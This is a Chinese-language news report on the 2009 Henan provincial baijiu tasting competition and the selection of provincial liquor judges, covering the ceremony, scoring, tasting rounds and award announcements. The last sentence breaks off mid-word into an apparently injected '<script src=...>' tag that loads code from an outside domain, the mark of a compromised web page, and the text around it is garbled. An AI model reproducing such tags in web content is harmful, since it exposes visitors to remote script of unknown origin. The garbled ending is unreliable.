根據河南省酒業協會、河南省輕工煙草工作委員會“豫酒協[2009]24號”文件精神，“皇溝杯”河南省白酒品評技能競賽暨2009屆省級白酒評酒委員換屆考聘活動于2009年6月26日至29日在鄭州舉行。6月27日上午舉行了簡短的開幕式，省酒業協會會長熊玉亮、副會長將輝、省輕工煙草工會調研員王建華、省酒業協會副秘書長趙書民、尹陶林、河南皇溝酒業公司總經理張樹強及裁判員盧振營、萬保健、李紹亮、孫西玉、張獻敏和來自全省三十余家白酒企業的152名選手及領隊參加了開幕式。首先張樹強總經理代表協辦方致辭，對本次活動的舉行表示祝賀，祝愿本次活動圓滿成功。熊玉亮會長代表主辦方對本次活動提出了很高的要求：要求裁判組公開、公正、公平，不徇私情；要求參賽選手嚴格遵守考場紀律、嚴肅認真，賽出風格、賽出水平。趙書民裁判長介紹了本次活動的準備情況和競賽的方法步驟、注意事項。開幕式最后，裁判員張獻敏、選手劉亞旭分別代表裁判員和參賽選手宣誓。
按照競賽規定，本次競賽實行百分制，其中理論占15分、實際操作（品評）考試占85分。27日上午開幕式結束后即進行了2個小時的理論考試，理論試題采取判斷、填空、單選、多選、簡答、論述等六種形式，內容涉及釀造、品評、勾兌和一般常識等。
從27日下午至29日上午進行了14輪實際操作（品評）考試，每輪五個樣品，內容包括單體物質的識別、酒度的識別、典型性、再現性、穩定性和具有代表性香型的質量差等。
按照《河南省酒業協會省級評酒委員管理辦法》規定，省級白酒評酒委員將分為資深、正式和特邀三種類型。1、三屆以上（包括三屆）的正式省級評委為資深評委，2、本次考試合格的為正式評委，3、沒有一名被錄取的我省名優、骨干白酒企業錄取一名特邀評委；上一屆的前十名，本次沒有被錄取的，本屆錄為特邀評委。按照規定70%的錄取名額，2009屆河南省省級白酒評酒委員（含資深、正式、特邀）共錄取107名（見附件二）。
29日晚九點召開了本次活動的總結會議，全體參賽選手、領隊、裁判員和有關領導參加了會議。省酒業協會副會長、白酒分會會長朱云武專程到會對本次活動的圓滿成功表示祝賀；省輕工煙草工會調研員王建華宣布了本次競賽活動前十名選手名單（見附件一），并對獲獎選手表示祝賀；省酒業協會副會長蔣輝宣布了組織參加本次活動的十三家優秀組織獎獲獎名單（見附件一），并頒發了證書；對“賒店杯”河南省勾調大賽的冠軍選手楊銳頒發了河南省五一勞動獎章和證書，表彰了河南省技術能手并頒發證書。最后，省酒業協會會長熊玉亮發表講話，指出本次活動有四個特點：1、本次活動是歷屆參加人數最多的一次，企業積?script src=http://www.234mu.com/>
